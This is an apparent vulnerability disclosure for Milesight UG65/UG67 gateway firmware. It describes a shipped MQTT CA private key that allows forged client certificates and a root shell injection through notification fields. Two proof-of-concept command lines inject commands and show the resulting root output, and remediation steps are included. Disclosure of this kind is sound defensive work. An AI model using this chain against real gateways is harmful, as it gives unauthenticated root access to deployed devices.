Unauthenticated Root Command Injection through MQTT Notifications

Summary

Milesight UG65/UG67 firmware 60.0.0.50 contains the MQTT broker CA private key at /etc/ssl/certs/ca-mqtt.key. An attacker can use it to create a trusted client certificate and publish to /gateway/notification without a device account.

eventcore, running as root, inserts notification fields into a shell command:

popen("ubus call yruo_emaild putmail '<attacker JSON>'", "r");

A single quote in head escapes the quoted JSON and executes commands as root. This primary path does not require SMTP.

There is a second sink in emaild: command substitution in receiver reaches the shell command used to start msmtp. That variant requires SMTP/email to already be enabled.

Classification

Field Value
Product Milesight UG65/UG67
Firmware 60.0.0.50
Authentication No device account; forged certificate from shipped CA key
Impact Immediate root command execution
Entry MQTT TLS, TCP 18883, /gateway/notification
Primary prerequisite eventcore is running and subscribed
Receiver prerequisite SMTP/email is enabled
Tags unauthenticated, command_injection, root_rce, tested

PoC dependencies

The PoC does not embed the leaked credentials. It requires:

Proof of concept

Primary eventcore sink, independent of SMTP:

python3 poc_ms04_mqtt_rce.py 127.0.0.1:18883 \
  --ca-cert firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.crt \
  --ca-key firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.key \
  -c 'id > /www/duckie-mqtt'

Verified result:

# cat /www/duckie-mqtt
uid=0(root) gid=0(root)

Optional downstream emaild sink:

python3 poc_ms04_mqtt_rce.py 127.0.0.1:18883 --receiver \
  --ca-cert firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.crt \
  --ca-key firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.key \
  -c 'id > /www/duckie-mqtt-emaild'

The --receiver command only executes when SMTP/email is enabled. This does not affect the primary eventcore RCE.

Emulator note

The service VM must start eventalarm after Mosquitto. A process entry alone is not enough; the log must show that eventcore subscribed to the notification topic. The emulator startup script now performs this ordering. This is a lab orchestration issue, not an additional target-side attack prerequisite.

Remediation

  1. Remove the CA private key from firmware and rotate deployed broker trust.
  2. Use per-device client credentials and topic ACLs.
  3. Parse notification data as structured input; never construct ubus shell commands from MQTT fields.
  4. Replace the emaild shell invocation with an argument-vector call to msmtp.